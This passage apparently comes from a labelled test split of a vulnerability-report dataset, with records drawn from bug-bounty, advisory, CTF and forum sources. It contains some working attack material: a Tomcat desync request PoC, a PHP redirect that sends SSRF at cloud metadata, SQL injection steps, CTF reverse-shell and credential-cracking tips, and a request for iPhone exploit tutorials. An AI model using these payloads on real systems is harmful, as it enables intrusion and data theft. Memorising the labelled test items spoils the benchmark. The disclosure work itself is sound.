(http2.c:552)\n==13928==    by 0x48B2570: h2_progress_ingress (http2.c:1914)\n==13928==    by 0x48B2775: cf_h2_recv (http2.c:1953)\n==13928== \n==13928== 8,191,872 bytes in 255,996 blocks are definitely lost in loss record 10 of 10\n==13928==    at 0x48436C4: malloc (vg_replace_malloc.c:392)\n==13928==    by 0x4889F45: dyn_nappend (dynbuf.c:107)\n==13928==    by 0x488A2C5: Curl_dyn_addn (dynbuf.c:170)\n==13928==    by 0x48C393E: alloc_addbyter (mprintf.c:1065)\n==13928==    by 0x48C2FF9: dprintf_formatf (mprintf.c:852)\n==13928==    by 0x48C39FF: curl_mvaprintf (mprintf.c:1095)\n==13928==    by 0x48C3AF0: curl_maprintf (mprintf.c:1110)\n==13928==    by 0x48B0F86: on_header (http2.c:1467)\n==13928==    by 0x4C310C1: nghttp2_session_mem_recv (in /usr/lib64/libnghttp2.so.14.25.1)\n==13928==    by 0x48AE62B: h2_process_pending_input (http2.c:552)\n==13928==    by 0x48B2570: h2_progress_ingress (http2.c:1914)\n==13928==    by 0x48B2775: cf_h2_recv (http2.c:1953)\n==13928== \n==13928== LEAK SUMMARY:\n==13928==    definitely lost: 8,191,872 bytes in 255,996 blocks\n==13928==    indirectly lost: 0 bytes in 0 blocks\n==13928==      possibly lost: 64 bytes in 2 blocks\n==13928==    still reachable: 93,082 bytes in 676 blocks\n==13928==         suppressed: 0 bytes in 0 blocks\n==13928== Reachable blocks (those to which a pointer was found) are not shown.\n==13928== To see them, rerun with: --leak-check=full --show-leak-kinds=all\n==13928== \n", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "fa5423af80803603bdc8", "text": "ABB Cylon Aspect 3.08.02 Unauthenticated Configuration Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-11", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "fbb45a858dbf85579354", "text": "ABB Cylon Aspect 3.08.02 (uploadDb.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-09", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a41e1fbfddd1334f9a05", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "9ed06118b554adfad0a8", "text": "ABB Cylon Aspect 3.08.01 (logYumLookup.php) Unauthenticated File Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-06", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "57db936b293dd32b2595", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "de825f43834d05edd982", "text": "ABB Cylon Aspect 4.00.00 (factorySaved.php) Unauthenticated XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-03", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3ddeb743bb4e09d408a4", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "6dae8cb98039725ba712", "text": "Usage writeup by evyatar9\n\nRead mt writeup to Usage machine on: github.com Writeups/HackTheBox/Usage at master · evyatar9/Writeups This repository contains writeups for various CTFs I've participated in (Including Hack The Box). - evyatar9/Writeups TL;DR User : Discovered an SQL Injection vulnerability on http://admin.usage.htb/ . Using this, we obtained credentials and exploited CVE-2020-10963 to gain a reverse shell as the dash user. Root : Found a .monitrc file containing the credentials for the xander user. Running sudo -l , we found the binary /usr/bin/usage_management , which backs up the contents of /var/www/html , a directory we have write access to. We created a symlink to the root SSH key in this directory, ran the backup binary, and retrieved the root SSH key.", "source": "hackthebox", "timestamp": "2024-09-27", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "4c23b5cee5903e90bddc", "text": "Aquatronica Control System 5.1.6 Passwords Leak Vulnerability\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-05-30", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "7f15f9acb9de5e40d37b", "text": "Yes, of course! That would be great, especially the one for the iPhone. I was actually hoping for more—what about making some tutorials on one-click exploit development for the iPhone? e.g : CVE-2025-24252, CVE-2026-20700, CVE-2025-24132, CVE-2025-43200, CVE-2025-43300, CVE-2026-20661, CVE-2025-43529", "source": "0x00sec", "timestamp": "2026-03-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "4d286718623b7ed0f35d", "text": "ABB Cylon Aspect 3.07.00 (networkDiagAjax.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-09-24", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "b5e8590e45ae2c0ad66c", "text": "[Code Injection] Command Injection using malicious hostname in expanded proxycommand\n\nUsing the ProxyCommand or the ProxyJump feature enables users to exploit\nunchecked hostname syntax on the client, which enables to inject malicious code\ninto the command of the above-mentioned features through the hostname parameter.\n\nUser interaction is required to exploit this issue.\n\nAdvisory from libssh: https://www.libssh.org/security/advisories/CVE-2023-6004.txt\n\nAdvisory from OpenSSH which also suffered from this flaw: https://www.openssh.com/txt/release-9.6\n\n## Impact\n\nCode execution via malicious input hostname or other tokens", "source": "hackerone", "timestamp": "2024-02-28", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ea3af6177d04b24f72b4", "text": "ABB Cylon FLXeon 9.3.4 (cmds.js) Authenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-02", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "e6ada632fd5aed760e11", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "aa78b23357afac70f263", "text": "ABB Cylon Aspect 3.08.00 (yumSettings.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-12", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "50169f7c6275f847fa36", "text": "Akuvox Smart Intercom/Doorphone Unauthenticated Stream Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-08-20", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "4623b990d046b5499b45", "text": "ABB Cylon Aspect 3.08.02 (fileSystemUpdateExecute.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "f64660f6f938ae8eb2a6", "text": "ABB Cylon FLXeon 9.3.5 (variant.js) Unauthenticated System Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-05-21", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a8d5be970b6094d6d941", "text": "Ksenia Security Lares WebServer Home Automation PIN Logic Flaw\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-03-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ef4551fca8b18e32a62e", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a9d29e09a901cc56a06b", "text": "ABB Cylon Aspect 3.08.01 (calendarFileDelete.php) Arbitrary File Deletion\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-07", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a9e25aeddd4f870262aa", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "c873f08b2de07bcaaa3a", "text": "Lighttpd 1.4.56 - 1.4.66 Resource Leak Denial of Service PoC\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2026-01-23", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "fb56887d18a5ebe48a09", "text": "ABB Cylon FLXeon 9.3.5 (capture.js) Authenticated File Disclosure/Delete\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-19", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "afc408d2241842ee7a39", "text": "ABB Cylon Aspect 3.08.02 (servicesUpdate.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "abec9fb5e23b6a5c9e8f", "text": "Honeywell Trend IQ4xx BMS Controller Unauthenticated Remote Web-HMI Control And Lockout\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2026-03-02", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "3e47d5cad129237c4fb9", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "d9653ce216950a57a3ba", "text": "ABB Cylon Aspect 3.08.02 (calendarUpdate.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-27", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "6e5043d01907d9f3c7ed", "text": "ABB Cylon Aspect 3.08.01 (jsonProxy.php) Servlet Inclusion Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "729d6463a8057312acf2", "text": "ABB Cylon Aspect 3.08.01 (bigUpload.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-09-23", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "70c8fba8092c18cd4191", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "39d601f89fec7bf35f34", "text": "ABB Cylon Aspect 3.08.04 (DeploySource) Unauthenticated Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-06-04", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "849bb34246446b2dd8fa", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "81760a6f1347ea39ca71", "text": "Tosibox Key Service 3.3.0 Local Privilege Escalation\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-02-23", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a1ecf0eaa85aa3040103", "text": "Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3c41ac0d0aef7e72c03d", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a81af2c21042a92d6fdd", "text": "Below Local Privilege Escalation Vulnerability: A light look at CVE-2025-27591\n\nThis topic is for discussion of the post Below Local Privilege Escalation Vulnerability: A light look at CVE-2025-27591 . CVE-2025-27591 is a Local Privilege Escalation (LPE) vulnerability affecting below, a time-traveling resource monitor for Linux developed by Facebook Incubator. Please feel free to discuss the post and ask any questions in this topic.", "source": "0x00sec", "timestamp": "2026-01-21", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "3a8496a889cad5acb61d", "text": "[HTTP Request Smuggling] CVE-2024-21733 Apache Tomcat HTTP Request Smuggling (Client- Side Desync) (CWE: 444)\n\nApache Tomcat from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43 are vulnerable to client-side de-sync attacks. \n\nClient-side de-sync (CSD) vulnerabilities occur when a web server fails to correctly process the Content-Length of POST requests. By exploiting this behavior, an attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.\n\nUsers are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue.\n\nPoC:\n~~~~~~~~~~~~~~~~~~\nPOST / HTTP/1.1\nHost: hostname\nSec-Ch-Ua: \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.9\nPriority: u=0, i\nConnection: keep-alive\nContent-Length: 6\nContent-Type: application/x-www-form-urlencoded\n\nX\n~~~~~~~~~~~~~~~~~~\n\nIn some cases, this can leak sensitive data such as clear-text credentials (see attached screenshot).\n\nCredit: \nThis vulnerability was reported responsibly to the Tomcat security team by xer0dayz from Sn1perSecurity LLC.\n\nHistory:\n2024-01-19 Original advisory\n\nReferences:\n[3] https://tomcat.apache.org/security-9.html\n[4] https://tomcat.apache.org/security-8.html\n\n## Impact\n\nAn attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.", "source": "hackerone", "timestamp": "2024-01-29", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "1cdc9c94fd229f2d665b", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a291fce42d0ac7d710ff", "text": "[Server-Side Request Forgery (SSRF)] Server Side Request Forgery (SSRF) in webhook functionality\n\n**Summary:**\n\n- SSRF stands for \"Server-Side Request Forgery\" in English. It refers to a security vulnerability where an attacker can manipulate a web application to make HTTP requests from the server side instead of the client side. This can allow the attacker to access internal and sensitive resources that are not normally accessible.\n- In an SSRF attack, the attacker can manipulate the requests made by an application to target internal resources such as local files, internal services, or even systems on the internal network. This can lead to the disclosure of sensitive information or unauthorized actions being performed on the server.\n- In this case I was able to bypass the anti ssrf rules in the implemented webhook functionality, I noticed that there is no filter enabled for IPV6 IP addresses with IPv6 address mapped to IPv4.\n\n**Description:**\n\n### Steps To Reproduce\n- To play this account you need to have an organizational account.\n- Additionally, it is necessary to have a public server that interprets php, you can use 000webhost.com\n1. Create a public PHP server and upload the following file h1.php:\n```\n<?php\n// Obtén los datos de la solicitud\nheader(\"Access-Control-Allow-Origin: *\");\nheader(\"Access-Control-Allow-Methods: GET, POST, PUT, DELETE\");\nheader(\"Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept\");\nheader(\"Content-Type: application/json\");\nheader(\"Location: http://[::ffff:a9fe:a9fe]\"); //IPV6 Compressed\n?>\n```\n2. Save the public url where the php script is located\n3. Log in to your hackerone account\n4. Enter your organization's program settings\n5. Look for the **webhooks** option.\n6. Create a webhook with the previously copied url.\n7. Once the webhook is created, edit it and click on the **Test request** button\n9. You can see in the webhook logs that in response it launches the header  **server: EC2ws**  which corresponds to the Amazon metada instance.\n\n## Impact\n\n- \"Server-Side Request Forgery\" (SSRF) is a security vulnerability that can have various negative impacts. It occurs when an attacker tricks a server into making requests on their behalf. This can lead to unauthorized access to internal resources, such as databases or internal services, that are typically not accessible from the outside. Additionally, SSRF can be exploited for port scanning, potentially revealing vulnerable services. Attackers may use SSRF to force servers to perform unwanted actions on internal services, leading to data breaches or malicious activities. The vulnerability also poses a risk of bypassing network restrictions, allowing attackers to circumvent security measures. To mitigate SSRF, it is crucial to implement secure development practices, validate and filter user inputs effectively, and ensure that servers do not make unauthorized requests to internal resources. Utilizing whitelists for permitted addresses and disabling unnecessary DNS resolution are recommended measures to enhance security.", "source": "hackerone", "timestamp": "2024-01-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "6ea2edb80b8befa01c86", "text": "Dear Clarkee, I have a few questions: Who owns this forum? Who are the founders of this forum? How long has this forum existed? Anybody here related to darkc0de forum ? (I meant this one : Wayback Machine ) Suggestion: It would be great if there were a dedicated thread where the founders could introduce themselves, sharing details such as their roles, specializations, GitHub profiles, or any other non-sensitive information. My thoughts on the forum: What captured my attention and motivated me to join was the domain name; I noticed it includes a null-terminating string, which is a very clever touch.", "source": "0x00sec", "timestamp": "2026-02-25", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a88f257857671243ebfe", "text": "[Cross-Site Request Forgery (CSRF)] CVE-2023-49920: Apache Airflow: Missing CSRF protection on DAG/trigger\n\nDuring my testing, I've found that there is no CSRF protection in dag/trigger. If a user is logged in to his airflow account & has the permission to trigger a dag then an attacker can trick the user to run a dag unintentionally by the user.\n\nApache Airflow, version 2.7.0 through 2.7.3, has a vulnerability that allows an attacker to trigger a DAG in a GET request without CSRF validation. As a result, it was possible for a malicious website opened in the same browser - by the user who also had Airflow UI opened - to trigger the execution of DAGs without the user's consent.\nUsers are advised to upgrade to version 2.8.0 or later which is not affected\n\n## Details:\nhttps://lists.apache.org/thread/mnwd2vcfw3gms6ft6kl951vfbqrxsnjq\n\n## Email form the project maintainer\n███████\n\nRegards,\n@0xt4req\n\n## Impact\n\nIt was possible for a malicious website opened in the same browser - by the user who also had Airflow UI opened - to trigger the execution of DAGs without the user's consent", "source": "hackerone", "timestamp": "2024-01-09", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "cf5a4baf9fc3ca779e1e", "text": "ABB Cylon FLXeon 9.3.4 (login.js) Unauthenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "965724af38f4c27aa740", "text": "[Seebug SSV-99890] CyberPanel 未授权RCE 漏洞\nSeverity: high\nDate: 2024-10-29\nCVE: N/A", "source": "seebug", "timestamp": "2024-10-29", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "23456af68ba600c6e10e", "text": "ABB Cylon FLXeon 9.3.4 (users.js) Authenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-04", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "de145b1b9b19713a4f58", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "4555be969348bfc5fa26", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "0ad09e622a96fcab33d1", "text": "In cupp use the first and last name, special characters, and l337. Use the password policy with sed to reduce the list the size of the list. Use username-anarchy to create the username. ^^You should find the credentials quickly with these.^^ Use the -u option with hydra. This cracked the credentials in 25 tries. The next user you try to crack the password of you can guess with a name or use the word list found next to the first flag.", "source": "hackthebox", "timestamp": "2024-04-11", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "7d4637350602b97041be", "text": "[Improper Access Control - Generic] Non-store owners can transfer Shopify-managed domain to another domain provider\n\nAccording to docs [here](https://help.shopify.com/en/manual/domains/managing-domain-ownership/transferring-shopify-domains#transfer-your-shopify-managed-domain-to-another-domain-provider), only store owners can transfer domains to another domain provider.\n{F2100708}\n\nThis is not enforced as users/staff members without the `Transfer domain to another Shopify store` permission can perform this action as well as staff members that aren't a store owner in themselves.\n\n## Shops Used to Test:\n███\n\n## Steps To Reproduce:\n1. Login as a staff member with these permissions only:\n{F2100711}\n\n2. From your Shopify admin, go to `Settings > Domains`.\n3. In the Shopify-managed domains section, click the name of the domain that you want to transfer.\n4. Click `Transfer domain > Transfer to another provider`.\n5. Review the information, and then click `Confirm`. The domain authorization code is displayed on your domain's information page.\n6. Give the domain authorization code to your new domain provider to verify the transfer.\n7. Done.\n\n## Supporting Material:\n███████\n\n## Impact\n\nShopify-managed domains can be transferred to another domain provider by a staff member without `Transfer domain to another Shopify store` permission and a non-store owner.", "source": "hackerone", "timestamp": "2024-01-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "91d3b507d979bb52809d", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "71a44dfeff6ec3711b23", "text": "[SQL Injection] SQL injection on ██████████ via 'where' parameter\n\nAn sql injection vulnerability is produced on 'where' parameter of ArcGIS server allows to retreive db content\n\n## PoC\n\n1- Go to https://█████/arcgis/rest/services/Data/ANC_External/MapServer/1/query?where=&text=&objectIds=&time=&timeRelation=esriTimeRelationOverlaps&geometry=&geometryType=esriGeometryEnvelope&inSR=&spatialRel=esriSpatialRelIntersects&distance=&units=esriSRUnit_Foot&relationParam=&outFields=&returnGeometry=true&returnTrueCurves=false&maxAllowableOffset=&geometryPrecision=&outSR=&havingClause=&returnIdsOnly=false&returnCountOnly=false&orderByFields=&groupByFieldsForStatistics=&outStatistics=&returnZ=false&returnM=false&gdbVersion=&historicMoment=&returnDistinctValues=false&resultOffset=&resultRecordCount=&returnExtentOnly=false&sqlFormat=none&datumTransformation=&parameterValues=&rangeValues=&quantizationParameters=&featureEncoding=esriDefault&f=html, this will show a web form.\n\n2- On `where` field, insert the following query : `1=1`, the query is a 1=1 that is true, so it will show all record content of the DB.\n\n██████████\n\n███████\n\n3- So if you inserts `1=0` on where column, the server response will be empty and didn't show any info.\n\nNOTE: i will attach the sql injection vulnerability confirmed by esri support: https://support.esri.com/en-us/knowledge-base/arcgis-10-1-sp1-for-server-contains-a-blind-sql-injecti-000011683\n\n## Impact\n\nAn attacker is able to exploit sql injection via arcGIS server\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1- Go to https://██████/arcgis/rest/services/Data/ANC_External/MapServer/1/query?where=&text=&objectIds=&time=&timeRelation=esriTimeRelationOverlaps&geometry=&geometryType=esriGeometryEnvelope&inSR=&spatialRel=esriSpatialRelIntersects&distance=&units=esriSRUnit_Foot&relationParam=&outFields=&returnGeometry=true&returnTrueCurves=false&maxAllowableOffset=&geometryPrecision=&outSR=&havingClause=&returnIdsOnly=false&returnCountOnly=false&orderByFields=&groupByFieldsForStatistics=&outStatistics=&returnZ=false&returnM=false&gdbVersion=&historicMoment=&returnDistinctValues=false&resultOffset=&resultRecordCount=&returnExtentOnly=false&sqlFormat=none&datumTransformation=&parameterValues=&rangeValues=&quantizationParameters=&featureEncoding=esriDefault&f=html, this will show a web form.\n\n2- On `where` field, insert the following query : `1=1`, the query is a 1=1 that is true, so it will show all record content of the DB.\n\n3- So if you inserts `1=0` on where column, the server response will be empty and didn't show any info.\n\n## Suggested Mitigation/Remediation Actions\nEsri released an update to ArcGIS Server 10.1 Service Pack 1. If you cannot patch, please consider the following workarounds.", "source": "hackerone", "timestamp": "2024-05-03", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "385fa6a445b05e87fe7a", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "62f7c44fb53195b57fbf", "text": "[Unknown] CVE-2024-2398: HTTP/2 push headers memory-leak\n\nA memory leak was found in libcurl in handling HTTP/2 push headers, which could lead to a denial of service due to memory exhaustion.\nOriginal report: https://hackerone.com/reports/2402845\n\n## Impact\n\ndenial of service", "source": "hackerone", "timestamp": "2024-04-22", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "0ca696aa47299792c487", "text": "ABB Cylon Aspect 3.08.03 (login.php) Obscure Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "744a576b609eff9d1d24", "text": "ABB Cylon Aspect 3.08.01 (oosManagerAjax.php) Information Manipulation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-08", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "0477464fb981b0d2841b", "text": "ABB Cylon Aspect 3.08.03 (logMixDownload.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "36a437c8858b8556d7b0", "text": "[Improper Authentication - Generic] Improper Authentication (Login without Registration with any user) at ████\n\nHi Team!\n\nI found a security issue in ███████. An attacker could login as a any user without registration in the page and above all it can change the session of a victim and authenticate him as any user. \n\nThe problem is at the endpoint  ██████████ which, thanks to the **signin** parameter, allows to authenticate anyone with any user.\n\n## Impact\n\nAuthentication bypass (Login as any user without authentication)\nForce a victim to change session with other user\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to ██████████\n2. To check the authentication bypass go to ████:\n\n███\n\nAs the link corresponds to a GET request you can force any user to log out and authenticate to any other account.\n\nAdditional bonus: *clientid and clientsecret are stored in the page source*\n\n███████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2024-03-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3f76a5378aadb42d8406", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "05f644579ced79f611b6", "text": "ABB Cylon Aspect 3.08.00 (fileSystemUpdate.php) Insecure File Upload\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-11-28", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "bf8ba25d56da61110685", "text": "ABB Cylon FLXeon 9.3.4 Limited Cross-Site Request Forgery (RCE)\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-02-11", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "e299a7666283737aba7b", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "367342c5bf29bfa20af3", "text": "[Deserialization of Untrusted Data] CVE-2023-46132\n\n# Long summary\n\n\n\nIn order to create a signature on a big chunk of data  such as a block, the data needs to be \"compressed\" first to the input size of the signature algorithm.\n\nIn Fabric's case, we use a hash function which compressed a Fabric block from arbitrary size to a 32 byte string.\n\n \n\nIn order to understand the problem we need to be more specific: The block structure has three parts to it: (1) Header, (2) Transactions, and (3) Metadata.\n\nWhen hashing the block, the header and metadata are stitched together and then hashed, and this hash of the header and the metadata is what signed (it's a simplification but let's not get into details)\n\nHowever, the transactions of the block are not part of the above hash. Instead, the header contains a hash, called the \"Data hash\" and despite the fact that in the comments it is said: \"// The hash of the BlockData, by MerkleTree\", actually it is far from being the case, and that is where our problem lies.\n\nThe problem is that the way the transactions are hashed gives an attacker some freedom in manipulating the data. \n\nTo create the Data Hash, the transactions in the block are concatenated to one another, creating a big long byte array and then this big long byte array is hashed, and this is essentially the Data Hash.\n\nThe transactions in the block are a list of raw byte arrays, and when they are concatenated they look like this:\n\n \n\n`|$$$$$$$$$$$$|*************|@@@@@@@@@@@@|%%%%%%%%%|`  (The vertical lines \" | \" represent how transactions are separated in a block.)\n\nWhen the transactions are concatenated in order to be hashed, the payload that is hashed is: \n`$$$$$$$$$$$$*************@@@@@@@@@@@@%%%%%%%%%`\n\nAn adversary can't change the bytes of the concatenation, however what it can do, is to modify how transactions are encoded in the block:\n\nFor example, consider an adversary wants to manipulate a peer to skip the second transaction (******).\n\nIt can then create a block with the transactions as follows:\n\n`|$$$$$$$$$$$$*************|@@@@@@@@@@@@|%%%%%%%%%| `\n\nNotice that a block with the above transactions has the same concatenation of bytes as the original block, but the block has one less transaction - the first transaction is a concatenation of the first and second transactions in the original block.\n\n \nWhen the peer receives this block, it looks at the first transaction and when it parses it, it completely ignores the ***** bytes, (we will see why soon), and so, an adversary can create a block with the same hash but different transactions and this would create a fork in the network.\n\n \nI made a small PoC where I created a block with 2 transactions (by invoking two chaincodes at the same time) with a Raft orderer:\n\n```\n    [e][OrdererOrg.orderer] 2023-10-14 23:07:34.076 CEST 0079 INFO [orderer.consensus.etcdraft] propose -> Created block [10] with 2 transactions, there are 0 blocks in flight channel=testchannel node=1\n```\n \n\nBut right after creating the block, I just modified only its transaction content (without modifying the block hash) and then the peers only detect a single transaction inside that block:\n\n \n```\n    [e][Org2.peer0] 2023-10-14 23:07:34.079 CEST 0099 INFO [kvledger] commit -> [testchannel] Committed block [10] with 1 transaction(s) in 0ms (state_validation=0ms block_and_pvtdata_commit=0ms state_commit=0ms) commitHash=[c5ecca818da9319af2f276dd01cd1337938f20c3535dd23f95a33933a114fe84]\n```\n\nThe important takeaway from this experiment is that the peer does not detect any tempering was done to the block. If an attacker performs this attack, the network can be forked silently and no one will notice the network was forked until it's too late.\n\n## Impact\n\nIn V1 and V2, we only have a crash fault tolerant orderer and as such, the security model Fabric operates in is that the orderer is honest,\nbut peers may be malicious. As such, a peer that replicates a block from a malicious peer can have a state fork.\n\nIn V3 which we did not a release a GA yet (only a preview), we have a byzantine fault tolerant orderering serv", "source": "hackerone", "timestamp": "2024-01-08", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d148b415ab5c88c1e7c9", "text": "ABB Cylon Aspect 3.08.02 (bbmdUpdate.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-09", "split": "test", "label_source": "within_source_cve_index", "label": 1}
